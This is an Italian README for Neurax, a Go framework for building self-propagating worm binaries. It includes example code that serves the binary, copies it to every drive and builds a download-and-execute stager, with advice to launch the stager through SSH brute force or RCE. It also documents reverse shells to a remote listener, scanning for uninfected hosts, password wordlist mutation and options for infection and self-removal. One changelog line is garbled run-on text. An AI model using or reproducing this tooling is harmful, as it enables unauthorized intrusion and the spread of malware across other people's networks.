
Un framework per la costruzione di binari auto-diffondenti.
Un framework che aiuta nella creazione di software auto-propagante
Con l'aiuto di Neurax, i binari Golang possono diffondersi su LAN/WAN senza utilizzare server esterni.
Varie opzioni di configurazione e stager di comandi consentono una rapida propagazione attraverso diversi ambienti wireless.
package main
import . "github.com/redcode-labs/Neurax"
func main(){
//Specify serving port and stager to use
Nrx.Config.Port = 5555
Nrx.Config.Stager = "wget"
//Start a server that exposes the current binary in the background
go NeuraxServer()
//Copy current binary to all logical drives
NeuraxDisks()
//Create a command stager that should be launched on target machine
//It will download, decode and execute the binary
cmd_stager := NeuraxStager()
/* Now you have to somehow execute the command generated above.
You can use SSH bruteforce, some RCE or whatever else you want ;> */
}
unlinkat(2)N.StagerBg)N.NoInfectCheck per disabilitare il controllo se l'host è già infetto.NeuraxServer().httrack per LinuxN.StagerRemovalDelay).FastScan che rende le scansioni attive un po' più velociNeuraxScan() accetta una funzione di callback invece di un canale come argomento.NeuraxScan() esegue la scansione in un ciclo infinito con possibilità di impostare l'intervallo tra ogni scansione dell'intera sottorete/pool di targetNeuraxConfig. è diventato N. (perché è più breve da digitare)wget + curl).WordlistExpand)La funzione NeuraxScan(func(string)) abilita il rilevamento di host attivi sulla rete locale.
Il suo unico argomento è una funzione di callback che viene chiamata in background per ogni host attivo.
Un host è considerato attivo quando ha almeno 1 porta aperta, non è già infetto e soddisfa le condizioni specificate in N.
NeuraxScan() viene eseguito come ciclo infinito - scansiona l'intera sottorete specificata dalla voce di configurazione .Cidr e quando ogni host è stato scansionato, la funzione dorme per un intervallo specificato in .ScanInterval
Il binario di Neurax non deve copiarsi utilizzando mezzi wireless.
La funzione NeuraxDisks() copia il binario corrente (con un nome non sospetto) su tutti i drive logici trovati.
Il binario copiato non viene eseguito, ma risiede semplicemente nella sua destinazione in attesa di essere eseguito.
NeuraxDisks() restituisce un error se non è possibile ottenere l'elenco dei dischi o la copia verso qualsiasi destinazione è impossibile.
Un'altra funzione, NeuraxZIP(num_files int) err permette di creare un archivio .zip con nome casuale contenente il binario corrente.
Viene salvato nella directory corrente e contiene fino a num_files file casuali.
NeuraxZIPSelf() semplicemente comprime il binario corrente, creando un archivio con lo stesso nome.
È possibile stabilire una reverse shell interattiva con NeuraxReverse().
Riceverà comandi dal nome host specificato in .ReverseListener nella forma "<host>:<port>".
Il protocollo utilizzato è definito in .ReverseProto
Se NeuraxOpenComm() è stato avviato prima di chiamare questa funzione, ogni comando si comporterà come descritto nella sezione precedente.
Se non lo è stato, i comandi verranno eseguiti localmente.
Nota: questa funzione dovrebbe essere eseguita anche come goroutine per evitare il blocco causato dal ciclo infinito utilizzato per la ricezione.
Ogni volta che un nodo riceve il comando "purge", lo reinvia a tutti gli altri nodi, si rimuove dall'host e termina.
Questo comportamento può essere avviato anche utilizzando NeuraxPurge() eseguito da qualche parte nel codice sorgente.
Se il vettore di diffusione scelto si basa su una qualche forma di bruteforce, è bene avere una wordlist adeguata preparata.
Memorizzare le parole in un file di testo sul lato client non è molto efficace, quindi puoi mutare una wordlist di base usando NeuraxWordlist(...words) []string.
Per permutare un insieme di parole date, usa NeuraxWordlistPermute(..words) []string
Se vuoi che il tuo binario si rimuova dopo un determinato tempo, usa NeuraxSetTTL() all'inizio del tuo codice.
Questa funzione dovrebbe essere avviata come goroutine.
Ad esempio:
go NeuraxSetTTL("2m")
farà sì che il binario esegua NeuraxPurgeSelf() dopo 2 minuti dall'esecuzione iniziale.
Se desideri concatenare tutti gli stager disponibili per una determinata piattaforma, imposta .Stager su "chain".
Se hai bisogno di copiare il binario dopo l'esecuzione iniziale, usa NeuraxMigrate(path string).
Copierà il binario in path, rimuoverà il binario corrente ed eseguirà quello appena migrato.
Se ti piace questo progetto e vuoi vederlo crescere, considera di fare una piccola donazione :>
Questo software è sotto licenza MIT
| Nome | Descrizione | Valore predefinito |
|---|
| Nrx.Config.Stager | Nome dello stager di comandi da utilizzare | random, platform-compatible |
| Nrx.Config.StagerSudo | Se true, gli stager di comandi Linux vengono eseguiti con privilegi elevati | false |
| Nrx.Config.StagerRetry | Numero di volte per ri-eseguire lo stager di comandi | 0 |
| Nrx.Config.StagerRemoveDelay | Viene applicata un'istruzione di sleep prima di rimuovere il binario scaricato | true |
| Nrx.Config.Port | Porta su cui servire | 6741 |
| Nrx.Config.Platform | Piattaforma di destinazione | detected automatically |
| Nrx.Config.Path | Il percorso in cui il binario viene salvato sull'host | . |
| Nrx.Config.FileName | Nome con cui il binario scaricato deve essere servito e poi salvato | random |
| Nrx.Config.Base64 | Codifica il binario trasferito in base64 | false |
| Nrx.Config.CommPort | Porta utilizzata dai binari per comunicare tra loro | 7777 |
| Nrx.Config.CommProto | Protocollo per la comunicazione tra nodi | "udp" |
| Nrx.Config.ReverseListener | Contiene "<host>:<port>" dell'handler di reverse shell remoto | not specified |
| Nrx.Config.ReverseProto | Protocollo da utilizzare per la connessione inversa | "udp" |
| Nrx.Config.ScanRequiredPort | NeuraxScan() considera l'host attivo solo quando ha una porta specifica aperta | none |
| Nrx.Config.ScanPassive | NeuraxScan() rileva gli host utilizzando il monitoraggio passivo del traffico ARP | false |
| Nrx.Config.ScanPassiveTimeout | NeuraxScan() monitora il livello ARP per questo numero di secondi | 50 seconds |
| Nrx.Config.ScanPassiveIface | Interfaccia da utilizzare durante la scansione passiva | default |
| Nrx.Config.ScanActiveTimeout | NeuraxScan() imposta questo valore come timeout per la porta scansionata in ogni thread | 2 seconds |
| Nrx.Config.ScanPassiveAll | NeuraxScan() cattura i pacchetti su tutti i dispositivi trovati | false |
| Nrx.Config.ScanPassiveNoArp | La scansione passiva non imposta un filtro di cattura ARP rigoroso | false |
| Nrx.Config.ScanFirst | Una slice contenente gli indirizzi IP da scansionare per primi | []string{} |
| Nrx.Config.ScanFirstOnly | NeuraxScan() scansiona solo gli host specificati in .ScanFirst | false |
| Nrx.Config.ScanArpCache | NeuraxScan() scansiona prima gli host trovati nella cache ARP locale. Funziona solo con scansione attiva | false |
| Nrx.Config.ScanCidr | NeuraxScan() scansiona questo CIDR | local IP + "\24" |
| Nrx.Config.ScanActiveThreads | Numero di thread da utilizzare per NeuraxScan() | 10 |
| Nrx.Config.ScanFullRange | NeuraxScan() scansiona tutte le porte dell'host target per determinare se è attivo | from 19 to 300 |
| Nrx.Config.ScanInterval | Intervallo di tempo per dormire prima di scansionare nuovamente l'intera sottorete | "2m" |
| Nrx.Config.ScanHostInterval | Intervallo di tempo per dormire prima di scansionare l'host successivo in modalità attiva | "none" |
| Nrx.Config.ScanGatewayFirst | Il gateway è il primo host scansionato quando viene utilizzata la scansione attiva | false |
| Nrx.Config.Verbose | Se true, tutti i messaggi di errore vengono stampati su STDOUT | false |
| Nrx.Config.Remove | Quando si verificano errori, il binario si rimuove dall'host | false |
| Nrx.Config.PreventReexec | Se true, quando un comando corrisponde a quelli già ricevuti in precedenza, non viene eseguito | true |
| Nrx.Config.WordlistExpand | NeuraxWordlist() esegue trasformazioni non standard sulle parole in input | false |
| Nrx.Config.WordlistCommon | Anteponi le 20 password più comuni alla wordlist | false |
| Nrx.Config.WordlistCommonNum | Numero di password comuni da utilizzare | all |
| Nrx.Config.WordlistCommonCountries | Una map[string]int che contiene i codici paese e il numero di password da utilizzare | map[string]int |
| Nrx.Config.WordlistMutators | Mutatori da utilizzare quando è specificato .WordlistExpand | {"single_upper", "cyryllic", "encapsule"} |
| Nrx.Config.WordlistPermuteNum | Lunghezza massima della permutazione generata da NeuraxWordlistPermute() | 2 |
| Nrx.Config.WordlistPermuteSeparator | Un carattere separatore da utilizzare per le permutazioni | "-" |
| Nrx.Config.WordlistShuffle | Mischia la wordlist generata prima di restituirla | false |
| Nrx.Config.AllocNum | Questa voce definisce quante volte NeuraxAlloc() alloca memoria casuale | 5 |
| Nrx.Config.Blacklist | Slice che contiene gli indirizzi IP esclusi da qualsiasi tipo di scansione | []string{} |
| Nrx.Config.FastHTTP | La richiesta HTTP in IsHostInfected() viene eseguita utilizzando la libreria fasthttp | false |
| Nrx.Config.Debug | Abilita i messaggi di debug | false |
| Nrx.Config.NoInfectCheck | Disabilita il controllo se l'host è già infetto | true |